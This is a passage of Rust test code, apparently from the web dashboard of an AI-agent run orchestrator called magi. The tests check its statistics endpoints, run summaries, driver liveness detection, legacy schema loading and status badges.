18546 assert_eq!(totals["merged"], 1);
18547 assert_eq!(totals["stalled"], 1);
18548 assert_eq!(totals["in_progress"], 1);
18549 assert_eq!(totals["blocked"], 0);
18552 assert_eq!(totals["ready"], 0);
18553 }
18554
18555 #[tokio::test]
18556 async fn stats_advisors_report_proposals_and_reflection() {
18557 use crate::advise::{Advice, AdvisorRecord, Reflection};
18558 use crate::verdict::Proposal;
18559
18560 let f = Fixture::start().await;
18561 let mut state = RunState::new(
18562 PathBuf::from("/repo/magi"),
18563 "main".to_owned(),
18564 "0123456789abcdef".to_owned(),
18565 "task".to_owned(),
18566 Config::default(),
18567 );
18568 state.id = "20260902-140501-a".to_owned();
18569 state.status = RunStatus::Merged;
18570 state.advice = Some(Advice {
18571 records: vec![
18572 AdvisorRecord {
18573 seat: "advisor-1".to_owned(),
18574 agent: "alpha".to_owned(),
18575 proposal: Some(Proposal {
18576 approach: "do it".to_owned(),
18577 key_tradeoff: "speed over memory".to_owned(),
18578 risks: Vec::new(),
18579 touches: Vec::new(),
18580 why_not_naive: "breaks under load".to_owned(),
18581 }),
18582 error: None,
18583 duration_ms: 0,
18584 reflection: Reflection::Strong,
18585 },
18586 AdvisorRecord {
18587 seat: "advisor-2".to_owned(),
18588 agent: "alpha".to_owned(),
18589 proposal: None,
18590 error: Some("timed out".to_owned()),
18591 duration_ms: 0,
18592 reflection: Reflection::Absent,
18593 },
18594 ],
18595 synthesis: Some("blended brief".to_owned()),
18596 });
18597 let dir = f.runs().join(&state.id);
18598 std::fs::create_dir_all(&dir).expect("run dir");
18599 std::fs::write(
18600 dir.join("run.json"),
18601 serde_json::to_string_pretty(&state).expect("serialize run"),
18602 )
18603 .expect("write run.json");
18604
18605 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18607 let alpha = advisors
18608 .as_array()
18609 .expect("an array")
18610 .iter()
18611 .find(|a| a["agent"] == "alpha")
18612 .expect("alpha row");
18613 assert_eq!(alpha["seated"], 2);
18614 assert_eq!(alpha["proposed"], 1);
18615 assert_eq!(alpha["absent"], 1);
18616 assert_eq!(alpha["strong"], 1);
18617 assert_eq!(alpha["faint"], 0);
18618 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18619 }
18620
18621 #[tokio::test]
18622 async fn stats_hides_agents_outside_the_roster_unless_all() {
18623 use crate::run::Candidate;
18624 let repo = TempDir::new().expect("repo dir");
18625 std::fs::write(
18626 repo.path().join("magi.toml"),
18627 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18628 )
18629 .expect("magi.toml");
18630 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18631 let mut state = RunState::new(
18632 PathBuf::from("/repo/magi"),
18633 "main".to_owned(),
18634 "0123456789abcdef".to_owned(),
18635 "task".to_owned(),
18636 Config::default(),
18637 );
18638 state.id = "20260902-140501-a".to_owned();
18639 state.status = RunStatus::Merged;
18640 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18641 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18642 "index": 0, "label": label.to_string(), "agent": agent,
18643 "branch": "b", "worktree": "/w",
18644 }))
18645 .expect("candidate");
18646 c.label = label;
18647 state.candidates.push(c);
18648 }
18649 let dir = f.runs().join(&state.id);
18650 std::fs::create_dir_all(&dir).expect("run dir");
18651 std::fs::write(
18652 dir.join("run.json"),
18653 serde_json::to_string_pretty(&state).expect("serialize run"),
18654 )
18655 .expect("write run.json");
18656
18657 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18658 v["agents"]
18659 .as_array()
18660 .expect("array")
18661 .iter()
18662 .map(|a| a["agent"].as_str().unwrap().to_owned())
18663 .collect()
18664 };
18665 let hidden = f.get("/api/stats").await.json();
18666 assert_eq!(agents_of(&hidden), ["keep"]);
18667 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18668 assert_eq!(hidden["totals"]["runs"], 1);
18669
18670 let all = f.get("/api/stats?all=true").await.json();
18671 assert_eq!(agents_of(&all).len(), 2);
18672 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18673 let keep_agent = all["agents"]
18675 .as_array()
18676 .unwrap()
18677 .iter()
18678 .find(|a| a["agent"] == "keep")
18679 .unwrap();
18680 assert_eq!(keep_agent["competitive_entered"], 1);
18681 assert_eq!(keep_agent["competitive_wins"], 0);
18682 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18683 assert_eq!(keep_agent["solo_entered"], 0);
18684 assert_eq!(keep_agent["solo_adopted"], 0);
18685 assert!(keep_agent["solo_adoption_rate"].is_null());
18686 }
18687
18688 #[tokio::test]
18689 async fn stats_release_bumps_split_clean_from_attention() {
18690 use crate::run::ReleaseBump;
18691
18692 let f = Fixture::start().await;
18693
18694 let mut clean = RunState::new(
18695 PathBuf::from("/repo/magi"),
18696 "main".to_owned(),
18697 "0123456789abcdef".to_owned(),
18698 "task".to_owned(),
18699 Config::default(),
18700 );
18701 clean.id = "20260902-140501-a".to_owned();
18702 clean.status = RunStatus::Merged;
18703 clean.release_bump = Some(ReleaseBump {
18704 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18705 version: Some("1.0.0".to_owned()),
18706 automerge_enabled: true,
18707 merged_directly: false,
18708 local: false,
18709 release: None,
18710 problem: None,
18711 action_required: None,
18712 skipped: None,
18713 });
18714
18715 let mut blocked = RunState::new(
18716 PathBuf::from("/repo/magi"),
18717 "main".to_owned(),
18718 "0123456789abcdef".to_owned(),
18719 "task".to_owned(),
18720 Config::default(),
18721 );
18722 blocked.id = "20260902-140502-b".to_owned();
18723 blocked.status = RunStatus::Merged;
18724 blocked.release_bump = Some(ReleaseBump {
18725 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18726 version: Some("1.0.1".to_owned()),
18727 automerge_enabled: false,
18728 merged_directly: false,
18729 local: false,
18730 release: None,
18731 problem: Some("checks red".to_owned()),
18732 action_required: Some("look at the PR".to_owned()),
18733 skipped: None,
18734 });
18735
18736 for state in [&clean, &blocked] {
18737 let dir = f.runs().join(&state.id);
18738 std::fs::create_dir_all(&dir).expect("run dir");
18739 std::fs::write(
18740 dir.join("run.json"),
18741 serde_json::to_string_pretty(state).expect("serialize run"),
18742 )
18743 .expect("write run.json");
18744 }
18745
18746 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18747 assert_eq!(bumps["merged"], 2);
18748 assert_eq!(bumps["recorded"], 2);
18749 assert_eq!(bumps["pr_opened"], 2);
18750 assert_eq!(bumps["automerge_enabled"], 1);
18751 assert_eq!(bumps["needs_attention"], 1);
18752 assert_eq!(bumps["clean"], 1);
18753 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18754 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18755 }
18756
18757 #[tokio::test]
18758 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18759 let f = Fixture::start().await;
18760 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18761
18762 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18763 assert_eq!(bumps["merged"], 1);
18764 assert_eq!(bumps["recorded"], 0);
18765 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18768 assert_eq!(bumps["automerge_rate"], Value::Null);
18771 assert_eq!(bumps["attention_rate"], Value::Null);
18772 }
18773
18774 #[tokio::test]
18775 async fn stats_queue_counts_come_from_the_live_queue() {
18776 let f = Fixture::start().await;
18777 let q = f.queue();
18778 let mut queued = Task::new(
18779 "queued task".to_owned(),
18780 "do it".to_owned(),
18781 PathBuf::from("/repo"),
18782 Source::Human,
18783 );
18784 q.put(&mut queued).expect("put queued");
18785 let mut held = Task::new(
18786 "held task".to_owned(),
18787 "do it later".to_owned(),
18788 PathBuf::from("/repo"),
18789 Source::Human,
18790 );
18791 held.hold_machine(Some("out of attempts".to_owned()));
18792 q.put(&mut held).expect("put held");
18793
18794 let queue = f.get("/api/stats").await.json()["queue"].clone();
18795 assert_eq!(queue["queued"], 1);
18796 assert_eq!(queue["held"], 1);
18797 assert_eq!(queue["running"], 0);
18798 assert_eq!(queue["done"], 0);
18799 assert_eq!(queue["failed"], 0);
18800 assert_eq!(queue["blocked"], 0);
18801 }
18802
18803 #[tokio::test]
18804 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18805 let f = Fixture::start().await;
18806 let stats = f.get("/api/stats").await;
18807 assert_eq!(stats.status, 200);
18808 assert_eq!(stats.json()["totals"]["runs"], 0);
18809 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18810 assert_eq!(stats.json()["runs_unreadable"], 0);
18811 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18812 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18813 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18814 assert_eq!(stats.json()["repo"], Value::Null);
18815 }
18816
18817 #[tokio::test]
18818 async fn stats_lists_every_repository_with_runs_recorded() {
18819 let f = Fixture::start().await;
18820 write_run_repo(
18821 &f.runs(),
18822 "20260902-140501-a",
18823 RunStatus::Merged,
18824 "/repos/a",
18825 );
18826 write_run_repo(
18827 &f.runs(),
18828 "20260902-140502-b",
18829 RunStatus::Merged,
18830 "/repos/a",
18831 );
18832 write_run_repo(
18833 &f.runs(),
18834 "20260902-140503-c",
18835 RunStatus::Blocked,
18836 "/repos/b",
18837 );
18838
18839 let stats = f.get("/api/stats").await;
18840 assert_eq!(stats.status, 200);
18841 assert_eq!(stats.json()["totals"]["runs"], 3);
18843 assert_eq!(stats.json()["repo"], Value::Null);
18844
18845 let repos = stats.json()["repos"].clone();
18846 let repos = repos.as_array().unwrap();
18847 assert_eq!(repos.len(), 2);
18848 assert_eq!(repos[0]["repo"], "/repos/a");
18850 assert_eq!(repos[0]["name"], "a");
18851 assert_eq!(repos[0]["runs"], 2);
18852 assert_eq!(repos[1]["repo"], "/repos/b");
18853 assert_eq!(repos[1]["runs"], 1);
18854 }
18855
18856 #[tokio::test]
18857 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18858 let f = Fixture::start().await;
18859 write_run_repo(
18860 &f.runs(),
18861 "20260902-140501-a",
18862 RunStatus::Merged,
18863 "/repos/a",
18864 );
18865 write_run_repo(
18866 &f.runs(),
18867 "20260902-140502-b",
18868 RunStatus::Blocked,
18869 "/repos/b",
18870 );
18871
18872 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18873 assert_eq!(stats.status, 200);
18874 assert_eq!(stats.json()["totals"]["runs"], 1);
18875 assert_eq!(stats.json()["totals"]["merged"], 1);
18876 assert_eq!(stats.json()["repo"], "/repos/a");
18877 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18880 assert_eq!(stats.json()["runs_unreadable"], 0);
18883 }
18884
18885 #[tokio::test]
18886 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18887 let f = Fixture::start().await;
18888 write_run_repo(
18889 &f.runs(),
18890 "20260902-140501-a",
18891 RunStatus::Merged,
18892 "/repos/a",
18893 );
18894 write_run_repo(
18895 &f.runs(),
18896 "20260902-140502-b",
18897 RunStatus::Merged,
18898 "/repos/b",
18899 );
18900
18901 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18902 let json = f.get(uri).await.json();
18903 let daily = json["daily"].as_array().expect("daily is an array");
18904 assert_eq!(daily.len(), 30);
18905 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18906 let mut sorted = dates.clone();
18907 sorted.sort();
18908 assert_eq!(dates, sorted);
18909 for d in daily {
18910 assert_eq!(
18911 d["merged"].as_u64().unwrap()
18912 + d["ready"].as_u64().unwrap()
18913 + d["other"].as_u64().unwrap(),
18914 d["runs"].as_u64().unwrap()
18915 );
18916 }
18917 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18918 }
18919 }
18920
18921 #[tokio::test]
18922 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18923 let f = Fixture::start().await;
18924 write_run_repo(
18925 &f.runs(),
18926 "20260902-140501-a",
18927 RunStatus::Merged,
18928 "/repos/a",
18929 );
18930
18931 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18932 assert_eq!(stats.status, 404);
18933 }
18934
18935 #[tokio::test]
18936 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18937 let f = Fixture::start().await;
18938 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18939
18940 let summary = f.get("/api/runs").await.json();
18941 let row = &summary[0];
18942 assert_eq!(row["short"], "a1b2");
18943 assert_eq!(row["status"], "ready");
18944 assert_eq!(row["done"], true);
18945 assert_eq!(row["title"], "Add a web UI");
18946 assert_eq!(row["repo_name"], "magi");
18947 assert_eq!(row["judges"], 3);
18948 assert_eq!(row["winner"], Value::Null);
18949 assert_eq!(row["reviews"], 0);
18950
18951 let detail = f.get("/api/runs/a1b2").await;
18954 assert_eq!(detail.status, 200);
18955 assert_eq!(detail.json()["base_branch"], "main");
18956 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18957 }
18958
18959 #[tokio::test]
18967 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18968 let f = Fixture::start().await;
18969
18970 let mut none_run = RunState::new(
18971 PathBuf::from("/repo/magi"),
18972 "main".to_owned(),
18973 "0123456789abcdef".to_owned(),
18974 "Add a web UI".to_owned(),
18975 Config::default(),
18976 );
18977 none_run.id = "20260902-140503-none".to_owned();
18978 none_run.status = RunStatus::Ready;
18979 none_run.merge = Some(crate::run::MergeOutcome {
18980 mode: crate::config::MergeMode::None,
18981 ok: true,
18982 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18983 empty: false,
18984 });
18985 write_state(&f.runs(), &none_run);
18986
18987 let mut pr_run = RunState::new(
18988 PathBuf::from("/repo/magi"),
18989 "main".to_owned(),
18990 "0123456789abcdef".to_owned(),
18991 "Add a web UI".to_owned(),
18992 Config::default(),
18993 );
18994 pr_run.id = "20260902-140504-prcl".to_owned();
18995 pr_run.status = RunStatus::Ready;
18996 pr_run.merge = Some(crate::run::MergeOutcome {
18997 mode: crate::config::MergeMode::Pr,
18998 ok: false,
18999 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19000 empty: false,
19001 });
19002 write_state(&f.runs(), &pr_run);
19003
19004 let summary = f.get("/api/runs").await.json();
19005 let rows: std::collections::HashMap<&str, &Value> = summary
19006 .as_array()
19007 .expect("an array")
19008 .iter()
19009 .map(|r| (r["id"].as_str().expect("an id"), r))
19010 .collect();
19011 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19012 assert_eq!(
19013 rows[none_run.id.as_str()]["unmerged_by_design"],
19014 true,
19015 "a mode-none Ready must be flagged in the list"
19016 );
19017 assert_eq!(
19018 rows[pr_run.id.as_str()]["unmerged_by_design"],
19019 false,
19020 "a Ready reached by a closed pull request is a different case"
19021 );
19022
19023 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19024 assert_eq!(none_detail["status"], "ready");
19025 assert_eq!(none_detail["unmerged_by_design"], true);
19026
19027 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19028 assert_eq!(pr_detail["unmerged_by_design"], false);
19029 }
19030
19031 #[tokio::test]
19036 async fn run_core_survives_unavailable_related_stores() {
19037 let home = TempDir::new().unwrap();
19038 let ui = delta_test_ui(home.path());
19039 let state = RunState::new(
19040 PathBuf::from("/repo/magi"),
19041 "main".into(),
19042 "0123456789abcdef".into(),
19043 "Useful core instructions".into(),
19044 Config::default(),
19045 );
19046 let dir = ui.runs.join(&state.id);
19047 std::fs::create_dir_all(&dir).unwrap();
19048 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19049 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19050 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19051 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19052 .await
19053 .unwrap()
19054 .0;
19055 assert_eq!(core.state.instruction, state.instruction);
19056 assert_eq!(core.state.updated_at, state.updated_at);
19057 assert!(core.task.is_none());
19058 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19059 }
19060
19061 #[tokio::test]
19062 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19063 let f = Fixture::start().await;
19064 let id = "20260902-140502-bbbb";
19068 let mut state = RunState::new(
19069 PathBuf::from("/repo/magi"),
19070 "main".to_owned(),
19071 "0123456789abcdef".to_owned(),
19072 "Add a web UI".to_owned(),
19073 Config::default(),
19074 );
19075 state.id = id.to_owned();
19076 state.status = RunStatus::Judging;
19077 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19078 let dir = f.runs().join(id);
19079 std::fs::create_dir_all(&dir).expect("run dir");
19080 std::fs::write(
19081 dir.join("run.json"),
19082 serde_json::to_string_pretty(&state).expect("serialize run"),
19083 )
19084 .expect("write run.json");
19085
19086 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19092 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19093 assert_eq!(cold["live"], "unknown", "{cold}");
19094
19095 write_daemon(f.home.path(), Timestamp::now());
19098 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19099 assert_eq!(warm["live"], "live", "{warm}");
19100 }
19101
19102 #[test]
19103 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19104 let home = tempfile::tempdir().expect("temp home");
19105 let runs = home.path().join("runs");
19106 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19107 let mut state = RunState::new(
19108 PathBuf::from("/repo/magi"),
19109 "main".to_owned(),
19110 "0123456789abcdef".to_owned(),
19111 "Generated review context, not authored task criteria".to_owned(),
19112 Config::default(),
19113 );
19114 state.origin = origin;
19115 state.status = RunStatus::Blocked;
19116 state.driver_exited = false;
19118 state.gate_ran = true;
19119 let expected = serde_json::to_value(&state).expect("serialize current state");
19120 let mut legacy = expected.clone();
19121 legacy["schema"] = serde_json::json!(13);
19122 legacy.as_object_mut().unwrap().remove("task_instruction");
19123 let dir = runs.join(&state.id);
19124 std::fs::create_dir_all(&dir).expect("run dir");
19125 let path = dir.join("run.json");
19126 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19127 std::fs::write(&path, &body).expect("write legacy run");
19128
19129 for loaded in [
19130 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19131 read_run(&runs, &state.id).expect("web migration"),
19132 ] {
19133 assert_eq!(loaded.schema, crate::run::SCHEMA);
19134 assert!(loaded.task_instruction.is_none());
19135 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19136 }
19137 assert_eq!(runs_unreadable(&runs), 0);
19138 assert_eq!(std::fs::read(&path).unwrap(), body);
19139 }
19140 }
19141
19142 #[tokio::test]
19145 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19146 let f = Fixture::start().await;
19147 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19148 let mut state = RunState::new(
19149 PathBuf::from("/repo/magi"),
19150 "main".to_owned(),
19151 "0123456789abcdef".to_owned(),
19152 "Add a web UI".to_owned(),
19153 Config::default(),
19154 );
19155 state.id = id.to_owned();
19156 state.origin = origin;
19157 let mut value = serde_json::to_value(&state).expect("serialize run");
19158 if let Some(schema) = schema {
19159 value["schema"] = serde_json::json!(schema);
19160 value.as_object_mut().unwrap().remove("origin");
19161 }
19162 let dir = f.runs().join(id);
19163 std::fs::create_dir_all(&dir).expect("run dir");
19164 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19165 };
19166 write(
19167 "20260930-092817-ec34",
19168 Some(crate::run::Origin::from_agent_env(
19169 Some(("4a7b".to_owned(), "chat".to_owned())),
19170 None,
19171 )),
19172 None,
19173 );
19174 write("20260930-092817-0ld1", None, Some(12));
19175
19176 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19177 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19178 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19179
19180 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19181 assert_eq!(
19182 old["origin_label"], "origin unknown (started before origins were recorded)",
19183 "{old}"
19184 );
19185 assert!(old["origin"].is_null(), "{old}");
19186
19187 let list = f.get("/api/runs").await.json();
19188 let labels: Vec<_> = list
19189 .as_array()
19190 .unwrap()
19191 .iter()
19192 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19193 .collect();
19194 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19195 }
19196
19197 #[tokio::test]
19204 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19205 let f = Fixture::start().await;
19206 let id = "20260922-090000-cccc";
19207 let mut state = RunState::new(
19208 PathBuf::from("/repo/magi"),
19209 "main".to_owned(),
19210 "0123456789abcdef".to_owned(),
19211 "Review only".to_owned(),
19212 Config::default(),
19213 );
19214 state.id = id.to_owned();
19215 state.status = RunStatus::Reviewing;
19216 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19217 state.driver_pid = Some(std::process::id());
19223 state.driver_started_at = Some(
19224 crate::proc::process_started_at(std::process::id())
19225 .expect("this test process's own start time must be queryable"),
19226 );
19227 let dir = f.runs().join(id);
19228 std::fs::create_dir_all(&dir).expect("run dir");
19229 std::fs::write(
19230 dir.join("run.json"),
19231 serde_json::to_string_pretty(&state).expect("serialize run"),
19232 )
19233 .expect("write run.json");
19234
19235 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19236 assert_eq!(detail["live"], "live", "{detail}");
19237 }
19238
19239 #[tokio::test]
19245 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19246 let f = Fixture::start().await;
19247 let id = "20260922-090100-dddd";
19248 let mut state = RunState::new(
19249 PathBuf::from("/repo/magi"),
19250 "main".to_owned(),
19251 "0123456789abcdef".to_owned(),
19252 "Review only".to_owned(),
19253 Config::default(),
19254 );
19255 state.id = id.to_owned();
19256 state.status = RunStatus::Reviewing;
19257 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19258 state.driver_pid = Some(std::process::id());
19263 state.driver_started_at = Some("1".to_owned());
19264 let dir = f.runs().join(id);
19265 std::fs::create_dir_all(&dir).expect("run dir");
19266 std::fs::write(
19267 dir.join("run.json"),
19268 serde_json::to_string_pretty(&state).expect("serialize run"),
19269 )
19270 .expect("write run.json");
19271
19272 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19273 assert_eq!(detail["live"], "dead", "{detail}");
19274 }
19275
19276 #[test]
19280 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19281 let mk = |id: &str, pid: Option<u32>| {
19282 let mut s = RunState::new(
19283 PathBuf::from("/repo/magi"),
19284 "main".to_owned(),
19285 "0123456789abcdef".to_owned(),
19286 "Add a web UI".to_owned(),
19287 Config::default(),
19288 );
19289 s.id = id.to_owned();
19290 s.driver_pid = pid;
19291 s.driver_started_at = Some("1790000000".to_owned());
19292 s
19293 };
19294 let states = vec![
19295 mk("20260902-140502-aaaa", Some(77)),
19296 mk("20260902-140502-bbbb", Some(77)),
19297 mk("20260902-140502-cccc", Some(77)),
19298 mk("20260902-140502-dddd", None),
19299 ];
19300 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19301 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19302 let sup: HashMap<String, String> = [(
19303 "20260902-140502-aaaa".to_owned(),
19304 "20260902-140502-cccc".to_owned(),
19305 )]
19306 .into();
19307
19308 let status_calls = std::cell::Cell::new(0);
19309 let identity_calls = std::cell::Cell::new(0);
19310 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19311 |_| {
19312 status_calls.set(status_calls.get() + 1);
19313 Some(true)
19314 },
19315 |_| {
19316 identity_calls.set(identity_calls.get() + 1);
19317 Some("1790000000".to_owned())
19318 },
19319 ));
19320 let rows = summarize(
19321 states,
19322 &open,
19323 &claimed,
19324 &sup,
19325 |p| probe.borrow_mut().status(p),
19326 |p| probe.borrow_mut().started_at(p),
19327 );
19328
19329 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19330 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19331 assert_eq!(rows.len(), 4);
19332 assert!(!rows[0].waiting && rows[1].waiting);
19333 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19334 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19335 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19336 assert_eq!(rows[1].superseded_by, None);
19337 }
19338
19339 #[test]
19340 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19341 let mut state = RunState::new(
19342 PathBuf::from("/repo/magi"),
19343 "main".to_owned(),
19344 "0123456789abcdef".to_owned(),
19345 "Review only".to_owned(),
19346 Config::default(),
19347 );
19348 state.id = "20260922-090200-dead".to_owned();
19349 state.status = RunStatus::Reviewing;
19350 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19351 .expect("serialize list row");
19352 assert_eq!(row["status"], "reviewing");
19353 assert_eq!(row["display_status"], "stale");
19354 assert_eq!(row["live"], "dead", "{row}");
19355 assert!(!row["done"].as_bool().unwrap());
19356 }
19357
19358 #[test]
19359 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19360 use crate::run::Liveness::{Dead, Live, Unknown};
19361 let mut state = RunState::new(
19362 PathBuf::from("/repo/magi"),
19363 "main".to_owned(),
19364 "abc".to_owned(),
19365 "Review only".to_owned(),
19366 Config::default(),
19367 );
19368 for (status, parked, node, waiting, live, expected) in [
19369 (
19370 RunStatus::Judging,
19371 true,
19372 "github-text",
19373 false,
19374 Dead,
19375 "parked",
19376 ),
19377 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19378 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19379 (
19380 RunStatus::Judging,
19381 true,
19382 "github-text",
19383 true,
19384 Dead,
19385 "waiting",
19386 ),
19387 (
19388 RunStatus::Judging,
19389 false,
19390 "github-text",
19391 true,
19392 Dead,
19393 "waiting",
19394 ),
19395 (
19396 RunStatus::Judging,
19397 false,
19398 "github-text",
19399 false,
19400 Dead,
19401 "stale",
19402 ),
19403 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19404 (RunStatus::Judging, true, "park", false, Live, "judging"),
19405 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19406 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19407 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19408 (
19409 RunStatus::Blocked,
19410 true,
19411 "github-text",
19412 true,
19413 Dead,
19414 "waiting",
19415 ),
19416 ] {
19417 state.status = status;
19418 state.parked = parked;
19419 state.events.clear();
19420 state.event(
19421 "park",
19422 "an earlier park does not determine the latest state",
19423 );
19424 state.event(node, "message is not used for classification");
19425 let summary = RunSummary::of(&state, waiting, live);
19426 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19427 assert_eq!(
19428 summary.display_status, expected,
19429 "{status:?}/{node}/{live:?}"
19430 );
19431 assert_eq!(detail.display_status, summary.display_status);
19432 assert_eq!(detail.waiting, summary.waiting);
19433 }
19434 state.status = RunStatus::Judging;
19435 state.parked = false;
19436 state.events.clear();
19437 assert_eq!(run_display_status(&state, false, Dead), "stale");
19438 }
19439
19440 #[test]
19441 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19442 use crate::run::Liveness::{Dead, Live, Unknown};
19443 let mut state = RunState::new(
19444 PathBuf::from("/repo/magi"),
19445 "main".to_owned(),
19446 "abc".to_owned(),
19447 "Badge".to_owned(),
19448 Config::default(),
19449 );
19450 for (status, waiting, live, superseded, expected) in [
19451 (RunStatus::Gating, false, Dead, false, "stale"),
19452 (RunStatus::Gating, false, Dead, true, "superseded"),
19453 (RunStatus::Gating, false, Unknown, true, "superseded"),
19454 (RunStatus::Gating, true, Dead, true, "superseded"),
19455 (RunStatus::Gating, true, Dead, false, "waiting"),
19456 (RunStatus::Gating, false, Unknown, false, "gating"),
19457 (RunStatus::Gating, false, Live, true, "gating"),
19458 (RunStatus::Gating, true, Live, true, "waiting"),
19459 (RunStatus::Merged, false, Dead, true, "merged"),
19460 (RunStatus::Blocked, false, Dead, true, "blocked"),
19461 ] {
19462 state.status = status;
19463 let display = run_display_status(&state, waiting, live);
19464 assert_eq!(
19465 run_badge_status(&state, &display, live, superseded),
19466 expected,
19467 "{status:?}/{live:?}/superseded={superseded}"
19468 );
19469 }
19470 }
19471
19472 #[test]
19473 fn summarize_and_detail_expose_badge_status() {
19474 use crate::run::Liveness::Dead;
19475 let mut state = RunState::new(
19476 PathBuf::from("/repo/magi"),
19477 "main".to_owned(),
19478 "abc".to_owned(),
19479 "Badge".to_owned(),
19480 Config::default(),
19481 );
19482 state.status = RunStatus::Gating;
19483 let none = HashSet::new();
19484 let id = state.id.clone();
19485 let mut by = HashMap::new();
19486 let rows = summarize(
19487 [state.clone()],
19488 &none,
19489 &none,
19490 &by,
19491 |_| Some(false),
19492 |_| None,
19493 );
19494 assert_eq!(rows[0].badge_status, rows[0].display_status);
19496 by.insert(id, "20260901-000000-913b".to_owned());
19497 let detail = RunDetailView::of(
19498 state.clone(),
19499 false,
19500 Dead,
19501 Some("913b".to_owned()),
19502 None,
19503 None,
19504 );
19505 assert_eq!(detail.badge_status, "superseded");
19506 let json = serde_json::to_value(&detail).unwrap();
19507 assert_eq!(json["badge_status"], "superseded");
19508 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19509 assert_eq!(detail.badge_status, "stale");
19510 }
19511
19512 #[tokio::test]
